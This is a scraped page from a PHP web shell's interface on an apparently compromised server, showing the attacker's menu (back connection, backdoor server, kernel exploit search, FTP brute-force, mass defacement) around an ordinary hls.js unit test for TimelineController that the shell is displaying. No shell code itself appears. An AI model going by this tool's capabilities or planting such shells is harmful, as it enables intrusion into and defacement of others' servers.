IP Address: 80.252.133.24:443 You: 216.73.216.193
| |||||||||||||||||||
|
| ||||||||||||||||||
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON | |||||||||||||||||||
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, | |||||||||||||||||||
[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ] |
|||||||||||||||||||
| |||||||||||||||||||
/ http/ root/ hls/ tests/ unit/ controller/ - drwxr-xr-x |
Viewing file:
Select action/file-type: import TimelineController from '../../../src/controller/timeline-controller'; import Hls from '../../../src/hls'; describe('TimelineController', function () { let timelineController; let hls; beforeEach(function () { hls = new Hls(); hls.config.enableWebVTT = true; timelineController = new TimelineController(hls); timelineController.media = document.createElement('video'); }); it('should set default track to showing when displaySubtitles is true', function () { hls.subtitleTrackController = { subtitleDisplay: true }; timelineController.onManifestLoaded({ subtitles: [{ id: 0 }, { id: 1, default: true }] }); expect(timelineController.textTracks[0].mode).to.equal('disabled'); expect(timelineController.textTracks[1].mode).to.equal('showing'); }); it('should set default track to hidden when displaySubtitles is false', function () { hls.subtitleTrackController = { subtitleDisplay: false }; timelineController.onManifestLoaded({ subtitles: [{ id: 0 }, { id: 1, default: true }] }); expect(timelineController.textTracks[0].mode).to.equal('disabled'); expect(timelineController.textTracks[1].mode).to.equal('hidden'); }); describe('reuse text track', function () { it('should reuse text track when track order is same between manifests', function () { hls.subtitleTrackController = { subtitleDisplay: false }; timelineController.onManifestLoaded({ subtitles: [{ id: 0, name: 'en' }, { id: 1, name: 'ru' }] }); // text tracks model contain only newly added manifest tracks, in same order as in manifest expect(timelineController.textTracks[0].label).to.equal('en'); expect(timelineController.textTracks[1].label).to.equal('ru'); expect(timelineController.textTracks.length).to.equal(2); // text tracks of the media contain the newly added text tracks expect(timelineController.media.textTracks[0].label).to.equal('en'); expect(timelineController.media.textTracks[1].label).to.equal('ru'); expect(timelineController.media.textTracks.length).to.equal(2); timelineController.onManifestLoaded({ subtitles: [{ id: 0, name: 'en' }, { id: 1, name: 'ru' }] }); // text tracks model contain only newly added manifest tracks, in same order expect(timelineController.textTracks[0].label).to.equal('en'); expect(timelineController.textTracks[1].label).to.equal('ru'); expect(timelineController.textTracks.length).to.equal(2); // text tracks of the media contain the previously added text tracks, in same order as the manifest order expect(timelineController.media.textTracks[0].label).to.equal('en'); expect(timelineController.media.textTracks[1].label).to.equal('ru'); expect(timelineController.media.textTracks.length).to.equal(2); }); it('should reuse text track when track order is not same between manifests', function () { hls.subtitleTrackController = { subtitleDisplay: false }; timelineController.onManifestLoaded({ subtitles: [{ id: 0, name: 'en' }, { id: 1, name: 'ru' }] }); // text tracks model contain only newly added manifest tracks, in same order as in manifest expect(timelineController.textTracks[0].label).to.equal('en'); expect(timelineController.textTracks[1].label).to.equal('ru'); expect(timelineController.textTracks.length).to.equal(2); // text tracks of the media contain the newly added text tracks expect(timelineController.media.textTracks[0].label).to.equal('en'); expect(timelineController.media.textTracks[1].label).to.equal('ru'); expect(timelineController.media.textTracks.length).to.equal(2); timelineController.onManifestLoaded({ subtitles: [{ id: 0, name: 'ru' }, { id: 1, name: 'en' }] }); // text tracks model contain only newly added manifest tracks, in same order expect(timelineController.textTracks[0].label).to.equal('ru'); expect(timelineController.textTracks[1].label).to.equal('en'); expect(timelineController.textTracks.length).to.equal(2); // text tracks of the media contain the previously added text tracks).to.equal(in opposite order to the manifest order expect(timelineController.media.textTracks[0].label).to.equal('en'); expect(timelineController.media.textTracks[1].label).to.equal('ru'); expect(timelineController.media.textTracks.length).to.equal(2); }); }); }); |
Command: | |
Quick Commands: | |
Upload: | |
PHP Filesystem: |
<@ Ú |
Search File: | |
Create File: | |
View File: | |
Mass Defacement: |